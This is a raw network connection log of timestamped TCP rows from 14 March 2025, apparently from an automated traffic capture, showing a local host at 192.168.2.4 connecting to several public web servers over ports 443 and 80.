Mar 14, 2025 10:08:29.605823994 CET	49726	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:29.606095076 CET	49726	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:29.606107950 CET	443	49726	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.065896988 CET	443	49726	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.065989971 CET	49726	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.067271948 CET	49726	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.067284107 CET	443	49726	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.067527056 CET	443	49726	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.067996979 CET	49726	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.112332106 CET	443	49726	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.467820883 CET	443	49726	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.467926025 CET	443	49726	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.467983961 CET	49726	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.524857998 CET	49726	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.524900913 CET	443	49726	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.644721985 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.644768000 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.644851923 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.645056009 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.645093918 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.645222902 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.646975994 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.646989107 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:30.647336960 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:30.647358894 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.102509975 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.108041048 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.108071089 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.108479023 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.108485937 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.135198116 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.137674093 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.137710094 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.298715115 CET	49681	80	192.168.2.4	2.17.190.73
Mar 14, 2025 10:08:31.517266035 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.517332077 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.517371893 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.517396927 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.517405033 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.517417908 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.517596006 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.517607927 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.518465042 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.518501043 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.518532991 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.518541098 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.518582106 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.518582106 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.523276091 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.563134909 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.563150883 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.609133959 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.611270905 CET	49681	80	192.168.2.4	2.17.190.73
Mar 14, 2025 10:08:31.654992104 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.655080080 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.655426979 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.655462980 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.655476093 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.655488014 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.655541897 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.656059980 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.656097889 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.656119108 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.656126976 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.656234980 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.656280994 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.656280994 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.694205999 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.694233894 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.696425915 CET	49729	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:31.696436882 CET	443	49729	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:31.707468033 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:31.707494020 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:31.707577944 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:31.708636045 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:31.708662033 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:31.708724976 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:31.708955050 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:31.708997011 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:31.709062099 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:31.709387064 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:31.709398985 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:31.709549904 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:31.709551096 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:31.709558010 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:31.709562063 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:31.943211079 CET	49710	443	192.168.2.4	204.79.197.222
Mar 14, 2025 10:08:31.946125031 CET	49710	443	192.168.2.4	204.79.197.222
Mar 14, 2025 10:08:31.946175098 CET	49710	443	192.168.2.4	204.79.197.222
Mar 14, 2025 10:08:31.948985100 CET	443	49710	204.79.197.222	192.168.2.4
Mar 14, 2025 10:08:31.950808048 CET	443	49710	204.79.197.222	192.168.2.4
Mar 14, 2025 10:08:31.950826883 CET	443	49710	204.79.197.222	192.168.2.4
Mar 14, 2025 10:08:32.037720919 CET	443	49710	204.79.197.222	192.168.2.4
Mar 14, 2025 10:08:32.037782907 CET	49710	443	192.168.2.4	204.79.197.222
Mar 14, 2025 10:08:32.095424891 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095490932 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095526934 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095535994 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.095550060 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095593929 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095602036 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.095609903 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095664024 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095669985 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.095674992 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095724106 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.095727921 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095808029 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095839024 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.095843077 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095904112 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.095956087 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.097373962 CET	49728	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.097393990 CET	443	49728	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.169140100 CET	443	49710	204.79.197.222	192.168.2.4
Mar 14, 2025 10:08:32.169202089 CET	49710	443	192.168.2.4	204.79.197.222
Mar 14, 2025 10:08:32.173562050 CET	49710	443	192.168.2.4	204.79.197.222
Mar 14, 2025 10:08:32.174081087 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.174185991 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.175915956 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.175992012 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.177104950 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.177170038 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.178236961 CET	443	49710	204.79.197.222	192.168.2.4
Mar 14, 2025 10:08:32.182424068 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.182446957 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.182862997 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.183211088 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.183227062 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.183449984 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.183779955 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.184250116 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.184263945 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.184494019 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.184587955 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.184808016 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.211956978 CET	49681	80	192.168.2.4	2.17.190.73
Mar 14, 2025 10:08:32.224335909 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.228337049 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.228352070 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.279243946 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.279793978 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.280122042 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.280200958 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.280203104 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.280225992 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.280256033 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.280272007 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.280277014 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.280313969 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.280330896 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.280335903 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.280390978 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.280396938 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.285490990 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.285538912 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.285556078 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.285562038 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.285608053 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.295586109 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.295614004 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.295650005 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.295689106 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.295706034 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.295734882 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.315447092 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.315504074 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.315547943 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.315577984 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.315602064 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.315648079 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.315671921 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.315679073 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.315738916 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.315743923 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.316387892 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.316427946 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.316464901 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.316533089 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.316533089 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.316540956 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.320205927 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.320308924 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.320317984 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.367415905 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.368233919 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368319988 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368344069 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368406057 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.368424892 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368566990 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.368577003 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368623018 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368669987 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368686914 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.368689060 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368695021 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.368721962 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.369505882 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.369529009 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.369549990 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.369554996 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.369617939 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.370014906 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.370073080 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.370091915 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.370116949 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.370126009 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.370172024 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.370208979 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.370237112 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.370326996 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.370346069 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.370397091 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.370850086 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.370904922 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.370918036 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.370927095 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.370932102 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.370956898 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.371617079 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.371640921 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.371697903 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.371704102 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.371746063 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.371748924 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.371782064 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.371799946 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.371800900 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.371805906 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.371854067 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.403776884 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.403856993 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.403903008 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.403920889 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.403983116 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.404050112 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.404057026 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.404357910 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.404411077 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.404419899 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.404886007 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.404937029 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.404938936 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.404951096 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.405003071 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.405009985 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.405816078 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.405846119 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.405903101 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.405906916 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.405920029 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.405950069 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.405951023 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.405992031 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.406008959 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.406014919 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.406063080 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.406739950 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.406790018 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.406825066 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.406857967 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.406861067 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.406871080 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.406903028 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.446906090 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.446922064 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.456461906 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.456523895 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.456557989 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.456583023 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.456598997 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.456617117 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.456634998 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.456640959 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.456665993 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.456686974 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.456691980 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.456722975 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.456727982 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.457493067 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.457511902 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.457549095 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.457555056 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.457596064 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.457731962 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.457802057 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.457808971 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.457843065 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.457876921 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.457890034 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.458055019 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.458071947 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.458138943 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.458139896 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.458146095 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.458874941 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.458893061 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.458944082 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.458950043 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.458973885 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.459130049 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.459173918 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.459203005 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.459209919 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.459244967 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.459258080 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.459259987 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.459270954 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.459312916 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.459319115 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.459358931 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.459404945 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.464205980 CET	49733	443	192.168.2.4	151.101.2.137
Mar 14, 2025 10:08:32.464227915 CET	443	49733	151.101.2.137	192.168.2.4
Mar 14, 2025 10:08:32.469057083 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.469090939 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.469144106 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.469537020 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.469544888 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.469604015 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.469722986 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.469738007 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.469827890 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.469840050 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.482569933 CET	49739	80	192.168.2.4	142.250.185.67
Mar 14, 2025 10:08:32.488858938 CET	80	49739	142.250.185.67	192.168.2.4
Mar 14, 2025 10:08:32.488941908 CET	49739	80	192.168.2.4	142.250.185.67
Mar 14, 2025 10:08:32.489023924 CET	49739	80	192.168.2.4	142.250.185.67
Mar 14, 2025 10:08:32.489698887 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.492265940 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.492643118 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.492687941 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.492701054 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.492726088 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.492800951 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.492803097 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.492810011 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.492820024 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.492856979 CET	443	49735	104.17.24.14	192.168.2.4
